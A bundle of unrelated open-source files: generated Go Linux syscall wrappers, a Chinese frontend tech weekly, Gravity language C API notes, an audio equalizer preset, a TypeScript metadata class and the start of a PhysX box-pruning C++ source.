EDIT func Syncfs(fd int) (err error) { _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sysinfo(info *Sysinfo_t) (err error) { _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) { r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0) n = int64(int64(r1)<<32 | int64(r0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) { _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Times(tms *Tms) (ticks uintptr, err error) { r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0) ticks = uintptr(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(mask int) (oldmask int) { r0, _ := RawSyscallNoError(SYS_UMASK, uintptr(mask), 0, 0) oldmask = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Uname(buf *Utsname) (err error) { _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(target string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(target) if err != nil { return } _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unshare(flags int) (err error) { _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func exitThread(code int) (err error) { _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, p *byte, np int) (n int, err error) { r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, p *byte, np int) (n int, err error) { r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Madvise(b []byte, advice int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Msync(b []byte, flags int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func faccessat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe(p *[2]_C_int) (err error) { _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe2(p *[2]_C_int, flags int) (err error) { _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(oldfd int, newfd int) (err error) { _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollCreate(size int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) { var _p0 unsafe.Pointer if len(events) > 0 { _p0 = unsafe.Pointer(&events[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fadvise(fd int, offset int64, length int64, advice int) (err error) { _, _, e1 := Syscall6(SYS_FADVISE64_64, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { _, _, e1 := Syscall(SYS_FTRUNCATE64, uintptr(fd), uintptr(length), uintptr(length>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { r0, _ := RawSyscallNoError(SYS_GETEGID32, 0, 0, 0) egid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (euid int) { r0, _ := RawSyscallNoError(SYS_GETEUID32, 0, 0, 0) euid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { r0, _ := RawSyscallNoError(SYS_GETGID32, 0, 0, 0) gid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { r0, _ := RawSyscallNoError(SYS_GETUID32, 0, 0, 0) uid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyInit() (fd int, err error) { r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ioperm(from int, num int, on int) (err error) { _, _, e1 := Syscall(SYS_IOPERM, uintptr(from), uintptr(num), uintptr(on)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Iopl(level int) (err error) { _, _, e1 := Syscall(SYS_IOPL, uintptr(level), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LCHOWN32, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pread(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PREAD64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pwrite(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PWRITE64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) { r0, _, e1 := Syscall6(SYS_SENDFILE64, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0) written = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setfsgid(gid int) (err error) { _, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setfsuid(uid int) (err error) { _, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREGID32, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresgid(rgid int, egid int, sgid int) (err error) { _, _, e1 := RawSyscall(SYS_SETRESGID32, uintptr(rgid), uintptr(egid), uintptr(sgid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresuid(ruid int, euid int, suid int) (err error) { _, _, e1 := RawSyscall(SYS_SETRESUID32, uintptr(ruid), uintptr(euid), uintptr(suid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREUID32, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) { r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func SyncFileRange(fd int, off int64, n int64, flags int) (err error) { _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE, uintptr(fd), uintptr(off), uintptr(off>>32), uintptr(n), uintptr(n>>32), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_TRUNCATE64, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ustat(dev int, ubuf *Ustat_t) (err error) { _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(n int, list *_Gid_t) (nn int, err error) { r0, _, e1 := RawSyscall(SYS_GETGROUPS32, uintptr(n), uintptr(unsafe.Pointer(list)), 0) nn = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(n int, list *_Gid_t) (err error) { _, _, e1 := RawSyscall(SYS_SETGROUPS32, uintptr(n), uintptr(unsafe.Pointer(list)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) { r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset uintptr) (xaddr uintptr, err error) { r0, _, e1 := Syscall6(SYS_MMAP2, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flags), uintptr(fd), uintptr(pageOffset)) xaddr = uintptr(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pause() (err error) { _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getrlimit(resource int, rlim *rlimit32) (err error) { _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setrlimit(resource int, rlim *rlimit32) (err error) { _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimesat(dirfd int, path string, times *[2]Timeval) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettimeofday(tv *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Time(t *Time_t) (tt Time_t, err error) { r0, _, e1 := RawSyscall(SYS_TIME, uintptr(unsafe.Pointer(t)), 0, 0) tt = Time_t(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Utime(path string, buf *Utimbuf) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, times *[2]Timeval) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return }
{ "pile_set_name": "Github" }
作者:[联民](https://github.com/lianmin) 校对:[染陌](https://github.com/answershuto) 知乎:[阿里云中台前端/全栈团队专栏](https://zhuanlan.zhihu.com/aliyun) Github:[阿里云前端技术周刊](https://github.com/aliyunfe/weekly) 给我们投稿:[传送门](https://github.com/aliyunfe/weekly/issues/new) 参与交流:[传送门](https://github.com/aliyunfe/weekly/issues/9) ## 前端速报 ![](https://img.alicdn.com/tfs/TB1T43Fa4iH3KVjSZPfXXXBiVXa-2560-600.jpg) * 微软官方放出针对 Mac OS 用户的 `Microsoft Edge Canary` 预览版本,它基于开源的 Chromium 打造, 在 Tab 切换和媒体播放上, 针对 Touch Bar 做了特定支持,[下载地址](https://www.microsoftedgeinsider.com/en-us/download) ![](https://img.alicdn.com/tfs/TB1uQEharus3KVjSZKbXXXqkFXa-600-338.gif) * Node `12.3.0` 发布, 添加 `--experimental-wasm-modules` 特性,支持通过 `import './module.wasm'` 引入 WebAssembly 模块,[查看链接](https://nodejs.org/en/blog/release/v12.3.0/) * Express 发布了近 7 个月以来的新版本 `4.17.0`,新增了 2 个小特性。`express.raw` 和 `express.text`, [查看链接](https://github.com/expressjs/express/releases/tag/4.17.0) ## 编者推荐 ![](https://img.alicdn.com/tfs/TB11G3Ga2WG3KVjSZFPXXXaiXXa-2560-600.jpg) #### [PixiJS V5发布](http://www.pixijs.com/) 跨设备的快速轻量2D引擎库。 让你可以不需要关心 WebGL 深入知识也能充分发挥硬件加速的优势,创建各种 2d 效果。 `PixiJS` 有很多有趣的 [DEMO](https://pixijs.io/examples/#/demos-basic/container.js) , 也可以自己尝试[编写一个例子](https://www.pixiplayground.com/#/edit)。 #### [Understanding WebViews](https://www.kirupa.com/apps/webview.htm) 提到互联网内世界的入口的时候,我们通常想到的是 Web 浏览器。这是一篇揭露浏览器内核 Webview 神秘面纱的文章, 介绍了它与 App 的共存关系和各类使用场景举例,是一篇科普类的好文 ![](https://gw.alicdn.com/tfs/TB1Y68NaYys3KVjSZFnXXXFzpXa-750-800.png) #### [Linear Algebra with JavaScript](https://medium.com/@geekrodion/linear-algebra-with-javascript-46c289178c0) (墙) 这是一组系列文章, 作者使用 JS 编写了关于向量、线性变换、矩阵、线性方程等线性代数知识的大量 [DEMO](https://rodionchachura.github.io/linear-algebra/) , 探索线性代数的奥妙。通过 JS 学习线性代数,是一个很有趣新颖的切入点。 #### [阿里小程序的一云多端!看这篇就够了](https://zhuanlan.zhihu.com/p/67380673) 小程序开发越来越成为一股不可阻挡的潮流,本文来自阿里云产品专家叔大的分享, 介绍了阿里巴巴的一云多端战略, 以及阿里云“繁星计划"为开发者提供的各项服务、工具链等内容,推荐阅读 ## 写作 ### [Beautiful.AI - 高大上的 PPT 制作工具](https://www.beautiful.ai/) 相信屏幕前的你一定有为编写 PPT 抓狂的经历。`Beautiful.AI` 号称可以通过 AI 帮助使用者快速构建格式优美的 PPT,内置了多种模板和素材图片, 只需要输入相关的文案和数据,就可以创建出排版精美的 PPT 页面, 还支持导出 PDF 和 PowerPoint 格式,感兴趣的同学可以盘一盘。 ## 关于我们 我们是阿里云智能中台体验技术团队。[详情](https://github.com/aliyunfe/weekly/blob/master/about.md) 如有兴趣加入我们,简历/沟通请至:[email protected]
{ "pile_set_name": "Github" }
## API Gravity can be extended at runtime using C API. The right step to proceed is usually to create a new class, then add methods and properties to it and finally register that class inside the VM. ```c // report error callback function void report_error (error_type_t error_type, const char *message, error_desc_t error_desc, void *xdata) { printf("%s\n", message); exit(0); } // function to be executed inside Gravity VM bool my_function (gravity_vm *vm, gravity_value_t *args, uint16_t nargs, uint32_t rindex) { // do something useful here } // Configure VM delegate gravity_delegate_t delegate = {.error_callback = report_error}; // Create a new VM gravity_vm *vm = gravity_vm_new(&delegate); // Create a new class gravity_class_t *c = gravity_class_new_pair (vm, "MyClass", NULL, 0, 0); // Allocate and bind closures to the newly created class gravity_closure_t *closure = gravity_closure_new(vm, my_function); gravity_class_bind(c, "myfunc", VALUE_FROM_OBJECT(closure)); // Register class inside VM gravity_vm_setvalue(vm, "MyClass", VALUE_FROM_OBJECT(c)); ``` Using the above C code a "MyClass" class has been registered inside the VM and ready to be used by Gravity: ```swift func main() { // allocate a new class var foo = MyClass(); // execute the myfunc C function foo.myfunc(); } ``` ### Execute Gravity code from C ```c ``` ### Bridge API Gravity C API offers much more flexibility using the delegate bridge API. TO DO: more information here. TO DO: post objc bridge.
{ "pile_set_name": "Github" }
Filter 1: ON PK Fc 31 Hz Gain -4.3 dB Q 1.41 Filter 2: ON PK Fc 62 Hz Gain -4.8 dB Q 1.41 Filter 3: ON PK Fc 125 Hz Gain -2.8 dB Q 1.41 Filter 4: ON PK Fc 250 Hz Gain -0.1 dB Q 1.41 Filter 5: ON PK Fc 500 Hz Gain -2.0 dB Q 1.41 Filter 6: ON PK Fc 1000 Hz Gain -3.3 dB Q 1.41 Filter 7: ON PK Fc 2000 Hz Gain -0.2 dB Q 1.41 Filter 8: ON PK Fc 4000 Hz Gain 7.0 dB Q 1.41 Filter 9: ON PK Fc 8000 Hz Gain 2.1 dB Q 1.41 Filter 10: ON PK Fc 16000 Hz Gain 5.4 dB Q 1.41
{ "pile_set_name": "Github" }
/** * Copyright 2019 AXA Group Operations S.A. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import { Element } from '../DocumentRepresentation'; import { Metadata } from './Metadata'; export class ComplexMetadata<T> implements Metadata { /** * Getter elements * @return {Element[]} */ public get elements(): Element[] { return this._elements; } /** * Setter elements * @param {Element[]} value */ public set elements(value: Element[]) { this._elements = value; } /** * Getter data * @return {T} */ public get data(): T { return this._data; } /** * Setter data * @param {T} value */ public set data(value: T) { this._data = value; } private _elements: Element[]; private _data: T; constructor(elements: Element[], data: T) { this._elements = elements; this._data = data; } }
{ "pile_set_name": "Github" }
// // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Copyright (c) 2008-2018 NVIDIA Corporation. All rights reserved. // Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved. // Copyright (c) 2001-2004 NovodeX AG. All rights reserved. #include "CmBoxPruning.h" #include "CmRadixSortBuffered.h" #include "PsAllocator.h" using namespace physx; using namespace Gu; using namespace Cm; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** * Bipartite box pruning. Returns a list of overlapping pairs of boxes, each box of the pair belongs to a different set. * \param nb0 [in] number of boxes in the first set * \param bounds0 [in] list of boxes for the first set * \param nb1 [in] number of boxes in the second set * \param bounds1 [in] list of boxes for the second set * \param pairs [out] list of overlapping pairs * \param axes [in] projection order (0,2,1 is often best) * \return true if success. */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// bool Cm::BipartiteBoxPruning(const PxBounds3* bounds0, PxU32 nb0, const PxBounds3* bounds1, PxU32 nb1, Ps::Array<PxU32>& pairs, const Axes& axes) { pairs.clear(); // Checkings if(nb0 == 0 || nb1 == 0) return false; // Catch axes PxU32 Axis0 = axes.mAxis0; PxU32 Axis1 = axes.mAxis1; 